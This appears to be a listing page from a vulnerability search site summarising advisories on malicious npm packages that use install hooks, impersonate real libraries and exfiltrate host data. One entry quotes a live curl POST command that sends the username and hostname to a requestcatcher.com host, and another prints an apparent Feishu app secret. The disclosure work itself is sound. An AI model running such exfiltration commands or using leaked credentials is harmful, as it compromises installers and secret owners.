CVE Search Engine - Security Vulnerabilities and Exploits Search Tool

OSSF Malicious Packages•added 2026/05/21 4:28 p.m.•7 views

Malicious code in veteran (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 70a20dd9f8d6a9df01d766c25693711d90e4303e3c68fa371f0b842f83c485b4 On npm install, the package's postinstall hook install.js, registered via package.json line 10 "postinstall": "node install.js" downloads a...

6AI score

Exploits0References3

OSSF Malicious Packages•added 2026/05/21 3:51 p.m.•7 views

Malicious code in celonix-otp-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector df58532b5edb3f7a5ad9734a7f4fa46f062c0f220d578db42a223188d078d9bb The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Database URL...

OSSF Malicious Packages•added 2026/05/21 2:20 p.m.•6 views

Exploits0References5

Malicious code in @vino.tian/vibe-kanban (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f1533bb7e55b1bcd10291aa9f19e2a5cbe5755a7a6a7343d38fbd3ff8064a1f This package is published as @vino.tian/vibe-kanban and copies its README, name, and feature description from BloopAI's legitimate vibe-kanban projec...

5.9AI score

Exploits0References3

OSV•added 2026/05/21 1:18 p.m.•2 views

MAL-2026-4229 Malicious code in @luke-101141/nobody (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a22de475581dbf26085c2605781782a61205eb62add0a261eabe2357ac2cbc8 On require, index.js executes curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$whoami/$hostname/", leaking the installing user'...

Snyk•added 2026/05/21 1:18 p.m.•5 views

Malicious Package

Overview chai-as-afforded is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

9.8CVSS5.8AI score

OSSF Malicious Packages•added 2026/05/21 1:18 p.m.•8 views

Malicious code in chai-as-afforded (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d40560dbe3485657e0bf84ae14fb2447ca17ec244adcaf5d2ecd14a1753697d4 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

OSV•added 2026/05/21 1:18 p.m.•2 views

MAL-2026-4222 Malicious code in chai-as-afforded (npm)

OSV•added 2026/05/21 12:59 p.m.•3 views

MAL-2026-4618 Malicious code in n8n-nodes-whatsapp-business-api-by-automations-builder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a012be4fda5d6832fa3f4b404fd0026c0b351642260408e7f4fbb955e48b38a8 Package presents itself as an n8n node for the WhatsApp Business API Meta Graph. Instead of calling graph.facebook.com, every request — credential...

OSV•added 2026/05/21 12:47 p.m.•6 views

MAL-2026-4738 Malicious code in zest-product (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9081ad708b658c1bd56299e401ca6a764cc9137d99573bc922d38a7381cc30d On npm install, postinstall.js collects host identity and environment data os.hostname, username, process.cwd, process.env values, plus shelled-out...

OSSF Malicious Packages•added 2026/05/21 12:39 p.m.•6 views

Exploits0References3

Malicious code in nikou-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d4634b70c99dd84c499d573350a00e86b09e8caaf34786d60b118ce12c64b426 utils/BotClient.js hardcodes a Feishu/Lark appId clia88b12e0b9b51013 and appSecret aBRv7CbiWuL7csrMavfLvc5sMW5B4Ky7 as default constructor values,...

OSV•added 2026/05/21 12:39 p.m.•4 views

MAL-2026-4620 Malicious code in nikou-node (npm)

OSV•added 2026/05/21 9:36 a.m.•3 views

MAL-2026-4442 Malicious code in @shadowmd/libsignal-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 51bcabb5263ecf1f1259bd5969a921866dbb808da4fda7b9d7708baeb60c21e6 Package name and description impersonate the Open Whisper Systems libsignal-node library. On require, index.js schedules install.js, which locates an...

OSSF Malicious Packages•added 2026/05/21 9:6 a.m.•7 views

Malicious code in http-uploader-dev (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 936024fb65d6ab06a1f01fcd765b534812efb873f076e81303d87c0b141bba2b package.json declares "preinstall": "bun run index.js", which on npm install invokes Bun to run index.js. index.js detects the host OS and shells out...

6.2AI score

Exploits0References7

OSSF Malicious Packages•added 2026/05/21 8:54 a.m.•6 views

Malicious code in @hanssoft/libsignal-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 063fa3a06df50a8c53c5eb05ac4d1214e6fa1edfb18d03c8484fa2014190659a Package name impersonates the well-known libsignal-node Signal Protocol library and ships a verbatim copy of its README, but the code is unrelated. O...

5.9AI score

OSV•added 2026/05/21 8:54 a.m.•4 views

MAL-2026-4393 Malicious code in @hanssoft/libsignal-node (npm)

5.9AI score

vulnersOsv•added 2026/05/21 8:54 a.m.•3 views

@hanssoft/baileys (>=2.0.4 <=10.0.0), @lynnidoffc/baileys (>=3.1.0 <=3.1.3) potentially affected by unknown CVE via @hanssoft/libsignal-node (=3.0.4)

@hanssoft/libsignal-node NPM version =3.0.4 is affected by a known vulnerability. The following packages have a transitive dependency on @hanssoft/libsignal-node and may be impacted: - @hanssoft/baileys =2.0.4, =3.1.0, =3.1.3 Source cves: unknown CVE Source advisory: OSV:MAL-2026-4393...

5.5AI score

Exploits0

OSV•added 2026/05/21 8:20 a.m.•6 views

MAL-2026-4361 Malicious code in @amswf/huoke (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ec868ff3c73d920bd9c3b66a0e725f2eaf427b83ade2ad0fae284be0386eff4 On npm install, this package's postinstall runs node bin/huoke.js install-skill, which enumerates /home/ for every system user, finds each user's...

OSSF Malicious Packages•added 2026/05/21 8:20 a.m.•7 views

Malicious code in @amswf/huoke (npm)